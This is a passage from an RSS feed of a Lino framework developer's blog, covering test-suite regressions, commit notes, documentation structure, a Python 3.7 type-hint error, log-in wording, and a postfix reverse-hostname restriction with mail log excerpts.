&lt;span class="go"&gt;---- ------------- ------------------ ------------------ ------------- -------&lt;/span&gt;
&lt;span class="go"&gt; 1    General       Allgemein          Général                          1&lt;/span&gt;
&lt;span class="go"&gt;                                                                        **1**&lt;/span&gt;
&lt;span class="go"&gt;==== ============= ================== ================== ============= =======&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Sharif’s work had added a column “Modified”, right after the ID. But we don’t
want this field to be so visible!  The &lt;em&gt;code&lt;/em&gt; needs to be fixed, not the test
case! This is an example where the test suite protects us from an unwanted
change in the user interface.&lt;/p&gt;
&lt;p&gt;Here are the four commits:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-02-27 04:03 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/lino.git"&gt;4f61f1f&lt;/a&gt;
(remove type hint to support Python before 3.8)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-02-27 04:33 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;b44bb78&lt;/a&gt;
(add explicit column_names to cal.Calendars)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-02-27 04:35 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;f895af5&lt;/a&gt;
(oops add explicit column_names to cal.Calendars)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-02-27 04:36 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/book.git"&gt;87f8517&lt;/a&gt;
(adapt after adding explicit column_names to cal.Calendars)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0227.html</guid><pubDate>Mon, 27 Feb 2023 00:00:00 +0000</pubDate></item><item><title>Sunday, February 19, 2023</title><link>https://luc.lino-framework.org/blog/2023/0219.html</link><description>&lt;section id="sunday-february-19-2023"&gt;
&lt;h1&gt;Sunday, February 19, 2023&lt;a class="headerlink" href="#sunday-february-19-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The book test suite still has 7 failures because when I was waiting for my local
test suite to finish I discovered &lt;a class="reference external" href="https://dev.lino-framework.org/tutorials/input_mask/index.html#lino-tutorial-input-mask" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Fields with an input mask&lt;/span&gt;&lt;/a&gt; and
accidentally started to work on this and pushed an untested last-minute change:
the &lt;a class="reference external" href="https://react.lino-framework.org/dev/py.html#module-lino_react.react" title="(in Lino React)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react.react&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin no longer depends on &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.memo.html#module-lino.modlib.memo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0219.html</guid><pubDate>Sun, 19 Feb 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, February 18, 2023</title><link>https://luc.lino-framework.org/blog/2023/0218.html</link><description>&lt;section id="saturday-february-18-2023"&gt;
&lt;h1&gt;Saturday, February 18, 2023&lt;a class="headerlink" href="#saturday-february-18-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The Django docs (&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/#how-the-documentation-is-organized"&gt;How the documentation is organized&lt;/a&gt;)
mention four top-level entry points (“Tutorials”, “Topic guides”, “Reference
guides” and “How-to guides”), but  it seems that I don’t fully agree with that
model.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;“Guides” or “Getting started”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“Topics” or “FAQ”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“Reference” or “Index”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;“Tutorials” and “Recipes” are documents types, not entry points.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0218.html</guid><pubDate>Sat, 18 Feb 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, February 15, 2023</title><link>https://luc.lino-framework.org/blog/2023/0215.html</link><description>&lt;section id="wednesday-february-15-2023"&gt;
&lt;h1&gt;Wednesday, February 15, 2023&lt;a class="headerlink" href="#wednesday-february-15-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I upgraded Jane. No big problem but a few smal ones.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;collectstatic&lt;/span&gt;&lt;/code&gt; failed because of three trivial regressions I introduced when I moved the
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;build_site_cache()&lt;/span&gt;&lt;/code&gt; from kernel to &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These failures would probably have been noticed by the getlino test suite, but I
didn’t look at it before releasing to pypi. And looking at it now, it is
&lt;a class="reference external" href="https://gitlab.com/lino-framework/getlino/-/jobs/3747450100"&gt;failing because of yet another reason&lt;/a&gt;, equally a trivial one.
I wish we had somebody who monitors the test suites on GitLab!&lt;/p&gt;
&lt;p&gt;I also upgraded froinde, which runs on an older server under Python 3.7. Seems
that the type hints we recently started to use aren’t yet supported there&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/lino/modlib/memo/parser.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;341&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;split_name_rest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;subscriptable&lt;/span&gt;

&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/lino_xl/lib/cal/utils.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;parse_rrule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0215.html</guid><pubDate>Wed, 15 Feb 2023 00:00:00 +0000</pubDate></item><item><title>Tuesday, February 14, 2023</title><link>https://luc.lino-framework.org/blog/2023/0214.html</link><description>&lt;section id="tuesday-february-14-2023"&gt;
&lt;h1&gt;Tuesday, February 14, 2023&lt;a class="headerlink" href="#tuesday-february-14-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I did an avalanche of changes in the Developer Guide.
Changes in lf, ug, cg and book.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://community.lino-framework.org/dp.html"&gt;https://community.lino-framework.org/dp.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/welcome.html#what-is-a-lino-developer"&gt;https://dev.lino-framework.org/welcome.html#what-is-a-lino-developer&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/discover.html"&gt;https://dev.lino-framework.org/discover.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="to-log-in-or-to-sign-in"&gt;
&lt;h2&gt;To “log in” or to “sign in”?&lt;a class="headerlink" href="#to-log-in-or-to-sign-in" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To “log in” or to “sign in”? What should we say? A controversial question!
Google and Amazon say “Sign in”, Facebook and Wikipedia say “Log in”.&lt;/p&gt;
&lt;p&gt;I remember that many years ago (before 2017, I couldn’t find the commit), I
changed “Log in” to “Sign in” (and renamed &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LogIn&lt;/span&gt;&lt;/code&gt; to
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.SignIn" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.SignIn&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;It seems that “log in” is more popular than “sign in”. &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Login"&gt;Wikipedia&lt;/a&gt;
says that &lt;strong&gt;logging in&lt;/strong&gt; (or &lt;strong&gt;logging on&lt;/strong&gt;, &lt;strong&gt;signing in&lt;/strong&gt;, or &lt;strong&gt;signing on&lt;/strong&gt;)
“is the process by which an individual gains access to a computer system by
identifying and authenticating themselves”.&lt;/p&gt;
&lt;p&gt;English teacher Dr. Jill Robbins, when asked about the differences between “sign
in” and “log in”, explains that “unlike “log in,” “sign in” is common outside of
the computer world.”  She also explains where it comes from: “When a user logs
in, the computer system keeps a record, or “log,” of that user’s session on the
system.” (&lt;a class="reference external" href="https://learningenglish.voanews.com/a/register-sign-in-and-log-in/6333897.html"&gt;voanews.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;I still think that saying “sign in” is more correct than saying “log in”. It
means to tell our server who you are, basta. You don’t ask it to also keep a log
of your visit. Maybe you are even reluctant to having the site log down your
visit. In many countries the site owner must ask your permission (“May we use
cookies?”) before doing so.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0214.html</guid><pubDate>Tue, 14 Feb 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, January 28, 2023</title><link>https://luc.lino-framework.org/blog/2023/0128.html</link><description>&lt;section id="saturday-january-28-2023"&gt;
&lt;h1&gt;Saturday, January 28, 2023&lt;a class="headerlink" href="#saturday-january-28-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;As a follow-up to &lt;a class="reference internal" href="0124.html"&gt;&lt;span class="doc"&gt;YOUR COMPENSATION FROM CAROL..&lt;/span&gt;&lt;/a&gt;, Hannes added yesterday the following option to
our postfix main.cf file:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;smtpd_client_restrictions = reject_unknown_reverse_client_hostname&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;This morning when I tried to send an email via FairEmail on my phone, the server
answered:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Invalid&lt;/span&gt; &lt;span class="n"&gt;Addresses&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="mf"&gt;4.7.1&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;rejected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;To&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;meditated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And here is relevant part in the mail.log file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7246&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7246&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7246&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;NOQUEUE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="mf"&gt;4.7.1&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;rejected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;dummy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;faircode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eu&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7246&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;noop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A bit later I tried to send via Thunderbird from my notebook, using the same
WLAN as my phone, and there it worked. And the mail.log says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32661&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
